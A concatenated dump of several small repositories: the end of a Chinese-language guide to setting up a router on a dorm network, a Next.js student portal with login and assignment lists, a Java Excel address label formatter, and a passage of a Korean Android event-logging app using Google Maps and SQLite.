#### 2-4-4. 預設閘道:IP位址的最後一碼改成254。如192.168.3.11的閘道就是192.168.3.11
#### 2-4-5. 主要DNS:192.168.3.11
#### 2-4-6. 次要DNS:172.16.58.3或是8.8.8.8
#### 2-4-7. 修改完成後請再三確認沒有打錯,記得按儲存
![](https://i.imgur.com/K7105uB.png)
## 3. 修改WAN MAC位址或修改註冊MAC位址
* 方法1: 修改路由器的MAC
* 方法2: 修改宿網管理系統的註冊MAC(適用於有些路由器不能改MAC a.k.a.爛路由器)
這邊有兩種方法,兩種挑一種來做就好,基本上就是把兩個東西的MAC位址改成一樣的(如圖,把1跟2的MAC位址改成一樣的)
![](https://i.imgur.com/KULRrzl.png)
![](https://i.imgur.com/XPooX1V.png)
### 3-1. 另外,如果找不到路由器初始的MAC位址,路由器本體的下面通常會寫這台機器的詳細資訊
![](https://i.imgur.com/XNkbCCG.png)
## 4. 最後,把路由器接上網路線到宿舍網路孔
**注意,要接在有寫WAN的網路孔上,不要插錯了**
![](https://i.imgur.com/7x8qgxF.jpg)
## 5. 大功告成,可以用電腦或手機試試看能不能連上網路
有時候需要等待5-10分鐘的學校資料庫更新
還是不行?了解觀念後才會更清楚自己在幹嘛!
[台大學生都應該了解的網路基礎知識](post/web-knowledge)
<file_sep>/components/login/useCountDown.js
import { useState, useEffect } from "react";
export default function useCounter() {
const [remain, setRemain] = useState(0);
useEffect(() => {
if (remain > 0) {
const countDown = () => setRemain((n) => n - 1);
const timeout = setTimeout(countDown, 1000);
return () => clearTimeout(timeout);
}
return () => {};
}, [remain]);
return [remain, setRemain];
}
<file_sep>/components/search/functions/TableColAttr.js
const attr = [
{ label: "流水號", dataKey: "id", width: 38, priority: 2 },
{
label: "授課對象",
dataKey: "class_name",
width: 42,
priority: 2,
},
{
label: "班次",
dataKey: "class_num",
width: 23,
priority: 1,
},
{
label: "課程名稱",
dataKey: "class_name",
width: 140,
priority: 1,
},
{ label: "學分", dataKey: "credit", width: 24, priority: 2 },
{
label: "必/選修",
dataKey: "teacher_name",
width: 36,
priority: 3,
},
{
label: "授課老師",
dataKey: "teacher_name",
width: 42,
priority: 1,
},
{
label: "加選方式",
dataKey: "reg_method",
width: 22,
priority: 2,
},
{
label: "時間教室",
dataKey: "teacher_name",
width: 155,
priority: 1,
},
{
label: "總人數",
dataKey: "limit_student_num",
width: 34,
priority: 2,
},
{
label: "限制條件與備註",
dataKey: "teacher_name",
width: 350,
priority: 2,
},
];
export default attr<file_sep>/pages/api/getTodos.js
export default async function handler(req, res) {
const packet = {
failed: [],
info: [
{
course: "計算機網路實驗 Computer Network Laboratory",
hw: "Lab 1 Trace route concept and implementation",
due: "2021:03:25:23:59:59",
src_from: "cool",
},
{
course: "計算機網路實驗 Computer Network Laboratory",
hw: "Lab2 Security Wireless LANs",
due: "2021:04:22:23:59:59",
src_from: "cool",
},
{
course: "計算機網路實驗 Computer Network Laboratory",
hw: "Lab 3 SIMULATING SDN WITH MININET",
due: "2021:06:03:23:59:59",
src_from: "cool",
},
{
course: "計算機網路實驗 Computer Network Laboratory",
hw: "The Presentation of demonstration",
src_from: "cool",
},
{
course: "計算機網路實驗 ComputerNetwork Laboratory",
hw: "The Presentation of proposal",
due: "2021:05:20:11:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "心理學實驗參與加分證明上傳",
due: "2021:06:21:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "期中報告",
due: "2021:04:25:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "期末報告",
due: "2021:06:21:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第三週討論:注意力何時介入",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第二週討論:心靈的本質",
due: "2021:03:07:23:59:00",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第八週討論:化學的腦切除術",
due: "2021:04:18:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第六週討論:陳敬鎧案",
due: "2021:04:04:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十一週討論:記憶理論提問與回答",
due: "2021:05:09:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十三週討論:錯放罪犯 vs 錯抓無辜",
due: "2021:05:23:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十二週討論:情緒性事件的記憶",
due: "2021:05:16:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十五週討論:鏡子測驗",
due: "2021:06:06:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十六週討論:社會心理學問答",
due: "2021:06:13:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十四週討論:學習舉例",
due: "2021:05:30:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第十週討論:心靈與大腦",
due: "2021:05:02:23:59:59",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第四週作業:object-based attention",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "第四週討論:半邊忽略症",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "1-1-Tolman",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "1-2-Tolman",
src_from: "cool",
},
{
course: "普通心理學 General Psychology",
hw: "2-1-Donders",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW13 - Model Description",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW14",
due: "2021:07:02:23:59:00",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW15",
due: "2021:07:09:23:59:00",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW01 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW02 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW03 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW04 total score",
due: "2021:05:02:23:59:59",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW05 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW06 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW07 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW08 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW09",
due: "2021:05:28:23:59:00",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW10 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "GitHub account survey for JudgeBoi",
due: "2021:04:04:23:59:00",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW02-1 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW02-2 total score",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW01 Code Submission",
due: "2021:03:28:23:59:59",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW02 Code Submission",
due: "2021:04:04:23:59:59",
src_from: "cool",
},
{
course: "機器學習 Machine Learning",
hw: "HW03 Code Submission",
due: "2021:04:18:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW04 Code Submission",
due: "2021:04:18:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW05 Code Submission",
due: "2021:05:02:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW06 Code Submission",
due: "2021:05:16:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW07 Code Submission",
due: "2021:05:23:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW08 Code Submission",
due: "2021:05:23:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW10 Code Submission",
due: "2021:05:30:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW11 Code Submission",
due: "2021:06:13:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW12 Code Submission",
due: "2021:06:27:23:59:59",
src_from: "cool",
},
{
course: "機器學習 MachineLearning",
hw: "HW13 Code Submission",
due: "2021:07:04:23:59:59",
src_from: "cool",
},
{
course: "籃球中級",
hw: "影片欣賞",
due: "2021:06:02:17:00:00",
src_from: "ceiba",
},
{
course: "籃球中級",
hw: "影片欣賞2",
due: "2021:06:18:17:00:00",
src_from: "ceiba",
},
{
course: "一般醫學保健",
hw: "期末報告(一)",
due: "2021:06:03:00:00:00",
src_from: "ceiba",
},
{
course: "一般醫學保健",
hw: "期末報告(二)",
due: "2021:06:03:00:00:00",
src_from: "ceiba",
},
{
course: "一般醫學保健",
hw: "期末報告(三)",
due: "2021:06:03:00:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#1",
due: "2021:03:08:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#2",
due: "2021:03:15:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#3",
due: "2021:04:07:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#4",
due: "2021:04:22:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#5",
due: "2021:05:10:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#6",
due: "2021:05:20:21:00:00",
src_from: "ceiba",
},
{
course: "網路服務程式設計",
hw: "HW#7",
due: "2021:06:21:21:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw1",
due: "2021:03:16:14:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw2",
due: "2021:03:31:00:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw3",
due: "2021:04:20:14:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw4",
due: "2021:05:07:14:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw5",
due: "2021:05:18:14:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "hw6",
due: "2021:06:16:14:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "Final project PPT + Video",
due: "2021:06:13:00:00:00",
src_from: "ceiba",
},
{
course: "資料庫系統-從SQL到NoSQL",
hw: "Final project Report + Code",
due: "2021:06:30:00:00:00",
src_from: "ceiba",
},
],
};
res.status(200).json(packet);
}<file_sep>/pages/post/[pid].js
import { useRouter } from "next/router";
import Grid from "@material-ui/core/Grid";
import Markdown from "markdown-to-jsx";
import { useState, useEffect } from "react";
import Typography from "@material-ui/core/Typography";
import Link from "@material-ui/core/Link";
import { makeStyles } from "@material-ui/core/styles";
import axio from "../../contexts/axios";
import {
getPostContent,
getPostMeta,
getPostsName,
} from "../../utils/RetrievePost";
// import { getPostContent, getPostMeta, getPostsName } from '../../utils/RetrievePost';
const useStyles = makeStyles((theme) => ({
listItem: {
marginTop: theme.spacing(1),
},
}));
function MarkdownListItem(props) {
const classes = useStyles();
return (
<li className={classes.listItem}>
<Typography component="span" {...props} />
</li>
);
}
export function getStaticPaths() {
// Call an external API endpoint to get posts
//console.log('getPost', posts)
const pnames = getPostsName();
const paths = pnames.map((fname) => ({
params: { pid: fname.replace('.md', '') },
}));
// We'll pre-render only these paths at build time.
// { fallback: false } means other routes should 404.
return { paths, fallback: false };
}
// This also gets called at build time
export async function getStaticProps({ params }) {
const fname = params.pid + '.md'
const meta = getPostMeta(fname);
const content = getPostContent(fname);
return { props: { meta, content } };
}
const Post = ({ meta, content }) => {
const options = {
forceBlock: false,
overrides: {
h1: {
component: Typography,
props: {
gutterBottom: true,
variant: "h4",
style: { padding: "0.5rem 0rem 0.5rem 0rem" },
},
},
h2: {
component: Typography,
props: {
gutterBottom: true,
variant: "h5",
style: { padding: "0.3rem 0rem 0.3rem 0rem" },
},
},
h3: {
component: Typography,
props: {
gutterBottom: true,
variant: "h6",
style: { padding: "0.1rem 0rem 0.1rem 0rem" },
},
},
h4: {
component: Typography,
props: {
gutterBottom: true,
variant: "h6",
paragraph: true,
style: { padding: "0rem 0rem 0rem 0rem" },
},
},
p: {
component: Typography,
props: {
paragraph: true,
// style:{padding:"0.5rem 0rem 0.5rem 0rem"}
},
},
a: {
component: Link,
props: {
style: { padding: "0.5rem 0rem 0.5rem 0rem" },
},
},
li: {
component: MarkdownListItem,
props: {
style: { padding: "0.5rem 0rem 0.5rem 0rem" },
},
},
img: {
props: {
style: {
width: "100%",
// left: "50%",
// marginLeft: "-47vw",
// marginRight: "-47vw",
// maxWidth: "94vw",
// position: "relative",
// right: "50%",
// width: "94vw"
},
},
},
table: {
props: {
style: { padding: "0.5rem 0rem 0.5rem 0rem" },
},
},
},
};
return (
<div style={{ display: "flex", justifyContent: "center" }}>
<div style={{ margin: "64px", maxWidth: "680px", width: "100%" }}>
<Typography variant="h3" style={{ fontWeight: "bold" }}>
{meta.title}
</Typography>
<Typography variant="subtitle1" gutterBottom>
{meta.description}
</Typography>
<div></div>
<Markdown options={options}>{content}</Markdown>
</div>
</div>
);
};
export default Post;
<file_sep>/components/login/LoginFormInfo.js
import React, { useState, useEffect, useContext } from "react";
// import { useHistory } from "react-router-dom";
import { makeStyles } from "@material-ui/core/styles";
// import { useDispatch } from "react-redux";
import TextField from "@material-ui/core/TextField";
import Button from "@material-ui/core/Button";
// import { setVerified, setId } from "../redux/userSlice";
import Loading from "../Loading";
// import { setCookie } from "../cookieHelper";
//import { CONCAT_SERVER_URL } from "../utils";
//import { tidyUpData } from "../component/Data";
import axio from "../../contexts/axios";
import Router from "next/router";
import AuthContext from "../../contexts/AuthContext";
const config = {
headers: {
"content-type": "application/json",
"Access-Control-Allow-Origin": "*",
},
};
const useStyles = makeStyles((theme) => ({
root: {
'"& > *"': {
margin: theme.spacing(1),
width: '"25ch"',
},
},
centerMargin: {
margin: "0px auto 0px",
},
controlSpace: {
marginTop: "10px",
width: "300px",
[`@media (max-width: 400px)`]: {
width: "80%",
},
},
controlButton: {
marginTop: "30px",
width: "200px",
[`@media (max-width: 400px)`]: {
width: "170px",
},
},
visitorHref: {
display: "block",
marginTop: "80px",
color: "gray",
},
}));
export default function LoginFormInfo() {
const classes = useStyles();
const {setUserInfo, setModalShow} = useContext(AuthContext);
const [info, setInfo] = useState({
email: "",
password: "",
});
const [state, setState] = useState({
isError: false,
nowLoading: false,
errorMes: ["", ""],
});
const handleChangeEmail = (e) => {
setInfo({
...info,
email: e.target.value,
});
};
const handleChangePassword = (e) => {
setInfo({
...info,
password: e.target.value,
});
};
const handleSubmit = async () => {
setState({
isError: state.isError,
nowLoading: true,
errorMes: state.errorMes,
});
const acc = info.email
const pwd = info.password
const {err, res} = await axio.post('/api/login', {acc, pwd})
if (err) {
setState({
isError: true,
nowLoading: false,
errorMes: ["", res.data],
});
} else {
setUserInfo({acc, pwd, JWT:res.data})
setState({ isError: false, nowLoading: true, errorMes: "" });
setModalShow(false)
}
};
const handleSearch = (e) => {
if (e.key === "Enter") {
handleSubmit();
}
};
return (
<div className={classes.centerMargin}>
<form className={classes.root} noValidate autoComplete="off">
<TextField
value={info.email}
label="帳號"
variant="outlined"
required
error={state.isError}
helperText={state.errorMes[0]}
placeholder="enter your email"
color="primary"
className={classes.controlSpace}
InputProps={{ style: { borderRadius: "50px" } }}
onChange={handleChangeEmail}
/>
<TextField
type="password"
value={info.password}
label="密碼"
variant="outlined"
required
error={state.isError}
helperText={state.errorMes[1]}
placeholder="enter your password"
color="primary"
className={classes.controlSpace}
InputProps={{ style: { borderRadius: "50px" } }}
onChange={handleChangePassword}
onKeyUp={handleSearch}
/>
{state.nowLoading ? (
<Loading />
) : (
<Button
variant="contained"
component="span"
className={classes.controlButton}
onClick={handleSubmit}
>
登入
</Button>
)}
</form>
</div>
);
}
<file_sep>/pages/todolist.js
import styles from "../styles/Todolist.module.css";
import { useEffect, useState } from "react";
import EditableTable from "../components/todolist/EditableTable";
import { Button } from "antd";
import { useContext } from "react";
import AuthContext from '../contexts/AuthContext'
const TodoList = () => {
const {userInfo} = useContext(AuthContext)
if(!userInfo){
return (<h1>please login first</h1>)
}
return (
<>
<div className={styles.Todo}>
<div className={styles.TodoTable}>
<EditableTable/>
</div>
</div>
</>
);
};
export default TodoList;
<file_sep>/contexts/axios.js
import axios from "axios";
import { useContext } from "react";
import AuthContext from "./AuthContext";
const instance = axios.create({
baseURL: process.env.SERVER_URL,
//timeout: 1000,
headers: { "Content-Type": "application/json" },
});
//export default instance;
const myaxios = {
get: async (...args) => {
try {
return { err: false, res: await instance.get(...args) };
} catch (err) {
return { err: true, res: err };
}
},
post: async (...args) => {
try {
return { err: false, res: await instance.post(...args) };
} catch (err) {
return { err: true, res: err };
}
},
};
export default myaxios;
<file_sep>/components/CustomModal.js
import React from "react";
import Modal from "react-bootstrap/Modal";
import AuthContext from "../contexts/AuthContext";
import { useContext, useState } from "react";
export default function CustomModal({ jumpFrame, children }) {
const { setModalShow, modalShow } = useContext(AuthContext);
return (
<Modal
show={modalShow}
onHide={() => {
setModalShow(false);
}}
size="lg"
aria-labelledby="contained-modal-title-vcenter"
centered
backdrop="static"
dialogClassName={jumpFrame}
>
{children}
</Modal>
);
}
| 47be01ae51f596162d9292a7c09b69dd991c0eae | [
"JavaScript",
"Markdown"
] | 26 | JavaScript | You-Ting-Li/UT0903.github.io | a433640aab15c940d89fd021f00988224c9c873a | f72624a548a40a4c6da6bcda58b5bb0e1d2a200b | |
refs/heads/master | <file_sep>package nl.timverwaal.labelformatter;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.ArrayList;
import org.apache.poi.ss.usermodel.Cell;
import org.apache.poi.ss.usermodel.Row;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.xssf.usermodel.XSSFWorkbook;
public class AddressesExcelSheet {
private ArrayList<Address> addressesList = new ArrayList<Address>();
public AddressesExcelSheet(String excelFilePath, Integer sheetNumber) throws IOException {
FileInputStream inputStream = new FileInputStream(new File(excelFilePath));
Workbook workbook = new XSSFWorkbook(inputStream);
Sheet addressSheet = workbook.getSheetAt(sheetNumber);
Row row;
Cell cell;
Address address;
for(int rowIndex=1; rowIndex < addressSheet.getLastRowNum(); rowIndex++){
row = addressSheet.getRow(rowIndex);
if (row == null) continue ;
cell = row.getCell(1);
if (cell == null) continue;
if (cell.getCellType() != Cell.CELL_TYPE_STRING) continue;
address = new Address();
address.setName(addressSheet.getRow(rowIndex).getCell(0, Row.CREATE_NULL_AS_BLANK).getStringCellValue());
address.setStreetName(addressSheet.getRow(rowIndex).getCell(1, Row.CREATE_NULL_AS_BLANK).getStringCellValue());
address.setPostalAndCity(addressSheet.getRow(rowIndex).getCell(2, Row.CREATE_NULL_AS_BLANK).getStringCellValue());
addressesList.add(address);
System.out.println(addressSheet.getRow(rowIndex).getCell(1, Row.CREATE_NULL_AS_BLANK).getStringCellValue());
}
workbook.close();
inputStream.close();
}
public ArrayList<Address> getAddressesList(){
return addressesList;
}
}
<file_sep># LabelFormatter
This little piece of software takes a list of address and converts it to a different format where it can be printed on labels
<file_sep>package nl.timverwaal.labelformatter;
public class Address {
private String Name;
private String StreetName;
private String PostalAndCity;
public Address() {
}
public String getName() {
return Name;
}
public void setName(String name) {
Name = name;
}
public String getStreetName() {
return StreetName;
}
public void setStreetName(String streetName) {
StreetName = streetName;
}
public String getPostalAndCity() {
return PostalAndCity;
}
public void setPostalAndCity(String postalAndCity) {
PostalAndCity = postalAndCity;
}
}
| bfdd6a1c6971f15d20b41af54cedcd34232696c6 | [
"Markdown",
"Java"
] | 3 | Java | timverwaal/LabelFormatter | 981ec4d02665ee0548cb7e36e364b75cdd5fab36 | 91e814d885c30cc8f940fcd1b1a38b8be95f0646 | |
refs/heads/master | <file_sep>package kay.kookmin.ac.kr.term_project;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import java.text.DecimalFormat;
public class ResultNumActivity extends AppCompatActivity {
TextView resultView;
TextView countResultView;
Button bt_job;
Button bt_hobby;
Button bt_etc;
Button bt_all;
DecimalFormat df = new DecimalFormat("0.##");
// Database 관련 객체들
SQLiteDatabase db;
String dbName = "eventData.db";
String tableName = "eventDataTable";
int dbMode = Context.MODE_PRIVATE;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_result_num);
countResultView = (TextView)findViewById(R.id.countResult);
resultView = (TextView)findViewById(R.id.resultView);
// Database 생성 및 열기
db = openOrCreateDatabase(dbName,dbMode,null);
countResultView.setText(resultCount());
resultView.setText(selectAll());
Button bt_back = (Button)findViewById(R.id.back);
bt_back.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
finish();
}
});
bt_job = (Button)findViewById(R.id.job);
bt_job.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
resultView.setText(selectJob());
}
});
bt_hobby = (Button)findViewById(R.id.hobby);
bt_hobby.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
resultView.setText(selectHobby());
}
});
bt_etc = (Button)findViewById(R.id.etc);
bt_etc.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
resultView.setText(selectEtc());
}
});
bt_all = (Button) findViewById(R.id.all);
bt_all.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
resultView.setText(selectAll());
}
});
}
// Data Count 읽기
public String resultCount() {
String sql = "select * from " + tableName + ";";
Cursor results = db.rawQuery(sql, null);
results.moveToFirst();
int[] typeCount = new int[3];
String view = "총 횟수\n";
while(!results.isAfterLast()) {
String type = results.getString(1);
if(type.equals("일"))
typeCount[0]++;
else if(type.equals("취미"))
typeCount[1]++;
else
typeCount[2]++;
results.moveToNext();
}
int typeSum = typeCount[0] + typeCount[1] + typeCount[2];
view += "일 : " + typeCount[0] + "\n";
view += "취미 : " + typeCount[1] + "\n";
view += "기타 : " + typeCount[2] + "\n";
view += "전체 : " + typeSum + "\n";
results.close();
return view;
}
// 모든 Data 읽기
public String selectAll() {
String sql = "select * from " + tableName + ";";
Cursor results = db.rawQuery(sql, null);
results.moveToFirst();
String view = "사건\t\t시간\t\t위치\t\t내용\n";
String[] location = results.getString(3).split(",");
while (!results.isAfterLast()) {
for(int i=1; i<=4; i++) {
if(i == 3)
view += df.format(Double.parseDouble(location[0])) + " " +
df.format(Double.parseDouble(location[1])) + "\t\t";
else
view += results.getString(i) + "\t\t";
}
view += "\n";
results.moveToNext();
}
results.close();
return view;
}
public String selectJob() {
String sql = "select * from " + tableName + ";";
Cursor results = db.rawQuery(sql, null);
results.moveToFirst();
String view = "사건\t\t시간\t\t위치\t\t내용\n";
String[] location = results.getString(3).split(",");
DecimalFormat df = new DecimalFormat("0.##");
while (!results.isAfterLast()) {
for(int i=1; i<=4; i++) {
if(results.getString(1).equals("일")) {
if (i == 3)
view += df.format(Double.parseDouble(location[0])) + " " +
df.format(Double.parseDouble(location[1])) + "\t\t";
else
view += results.getString(i) + "\t\t";
}
}
if(results.getString(1).equals("일"))
view += "\n";
results.moveToNext();
}
results.close();
return view;
}
public String selectHobby() {
String sql = "select * from " + tableName + ";";
Cursor results = db.rawQuery(sql, null);
results.moveToFirst();
String view = "사건\t\t시간\t\t위치\t\t내용\n";
String[] location = results.getString(3).split(",");
while (!results.isAfterLast()) {
for(int i=1; i<=4; i++) {
if(results.getString(1).equals("취미")) {
if (i == 3)
view += df.format(Double.parseDouble(location[0])) + " " +
df.format(Double.parseDouble(location[1])) + "\t\t";
else
view += results.getString(i) + "\t\t";
}
}
if(results.getString(1).equals("취미"))
view += "\n";
results.moveToNext();
}
results.close();
return view;
}
public String selectEtc() {
String sql = "select * from " + tableName + ";";
Cursor results = db.rawQuery(sql, null);
results.moveToFirst();
String view = "사건\t\t시간\t\t위치\t\t내용\n";
String[] location = results.getString(3).split(",");
while (!results.isAfterLast()) {
for(int i=1; i<=4; i++) {
if(results.getString(1).equals("기타")){
if (i == 3)
view += df.format(Double.parseDouble(location[0])) + " " +
df.format(Double.parseDouble(location[1])) + "\t\t";
else
view += results.getString(i) + "\t\t";
}
}
if(results.getString(1).equals("기타"))
view += "\n";
results.moveToNext();
}
results.close();
return view;
}
}
<file_sep>package kay.kookmin.ac.kr.term_project;
import android.content.Context;
import android.content.Intent;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.MapFragment;
import com.google.android.gms.maps.model.BitmapDescriptorFactory;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.MarkerOptions;
public class ResultMapActivity extends AppCompatActivity {
// google map
private GoogleMap map;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_result_map);
// Database 관련 객체들
SQLiteDatabase db;
String dbName = "eventData.db";
String tableName = "eventDataTable";
int dbMode = Context.MODE_PRIVATE;
Intent intent = getIntent();
String currentLocation = intent.getStringExtra("Location");
String[] l = currentLocation.split(",");
// google map
map = ((MapFragment) getFragmentManager().findFragmentById(R.id.map)).getMap();
map.moveCamera(CameraUpdateFactory.newLatLngZoom(new LatLng(Double.parseDouble(l[0]),Double.parseDouble(l[1])), 15));
map.animateCamera(CameraUpdateFactory.zoomTo(15), 2000, null);
// Database 생성 및 열기
db = openOrCreateDatabase(dbName,dbMode,null);
String sql = "select * from " + tableName + ";";
Cursor results = db.rawQuery(sql, null);
results.moveToFirst();
while (!results.isAfterLast()) {
String[] location = results.getString(3).split(",");
String[] date = results.getString(2).split("/");
if(results.getString(1).equals("일")) {
map.addMarker(new MarkerOptions()
.position(new LatLng(Double.parseDouble(location[0]), Double.parseDouble(location[1])))
.snippet(results.getString(1) + " " + results.getString(4))
.icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_AZURE))
.title(date[0].substring(2) + "년" + date[1] + "월" + date[2] + "일"));
results.moveToNext();
}
else if(results.getString(1).equals("취미")) {
map.addMarker(new MarkerOptions()
.position(new LatLng(Double.parseDouble(location[0]), Double.parseDouble(location[1])))
.snippet(results.getString(1) + " " + results.getString(4))
.icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_GREEN))
.title(date[0].substring(2) + "년" + date[1] + "월" + date[2] + "일"));
results.moveToNext();
}
else {
map.addMarker(new MarkerOptions()
.position(new LatLng(Double.parseDouble(location[0]), Double.parseDouble(location[1])))
.snippet(results.getString(1) + " " + results.getString(4))
.icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_RED))
.title(date[0].substring(2) + "년" + date[1] + "월" + date[2] + "일"));
results.moveToNext();
}
}
results.close();
}
}
<file_sep>package kay.kookmin.ac.kr.term_project;
import android.content.Context;
import android.content.Intent;
import android.database.sqlite.SQLiteDatabase;
import android.location.Location;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Spinner;
import android.widget.Toast;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.MapFragment;
import com.google.android.gms.maps.model.LatLng;
import java.util.GregorianCalendar;
public class MainActivity extends AppCompatActivity implements GoogleMap.OnMyLocationChangeListener {
// google map
static final LatLng SEOUL = new LatLng(37.56,126.97);
private GoogleMap map;
// Database 관련 객체들
SQLiteDatabase db;
String dbName = "eventData.db";
String tableName = "eventDataTable";
int dbMode = Context.MODE_PRIVATE;
// layout object
ArrayAdapter<CharSequence> adapter = null;
Spinner spinner = null;
EditText et_event;
Button bt_insert;
Button bt_resultNum;
Button bt_resultMap;
Context context;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// spinner
adapter = ArrayAdapter.createFromResource(this,R.array.type_data,android.R.layout.simple_spinner_item);
adapter.setDropDownViewResource(android.R.layout.simple_dropdown_item_1line);
spinner = (Spinner) findViewById(R.id.spinner);
spinner.setPrompt("사건선택");
spinner.setAdapter(adapter);
// google map
map = ((MapFragment) getFragmentManager().findFragmentById(R.id.map)).getMap();
map.moveCamera(CameraUpdateFactory.newLatLngZoom(SEOUL, 15));
map.animateCamera(CameraUpdateFactory.zoomTo(10), 2000, null);
map.setMyLocationEnabled(true);
map.setOnMyLocationChangeListener(this);
// Database 생성 및 열기
db = openOrCreateDatabase(dbName,dbMode,null);
// 테이블 생성
createTable();
context = this.getApplication().getApplicationContext();
et_event = (EditText) findViewById(R.id.event);
bt_insert = (Button) findViewById(R.id.insert);
bt_resultNum = (Button) findViewById(R.id.result_num);
bt_resultMap = (Button) findViewById(R.id.result_map);
bt_insert.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
String type = spinner.getSelectedItem().toString();
GregorianCalendar today = new GregorianCalendar();
String time = today.get(today.YEAR) + "/"
+ Integer.toString(today.get(today.MONTH)+1) + "/"
+ today.get(today.DAY_OF_MONTH) + "/"
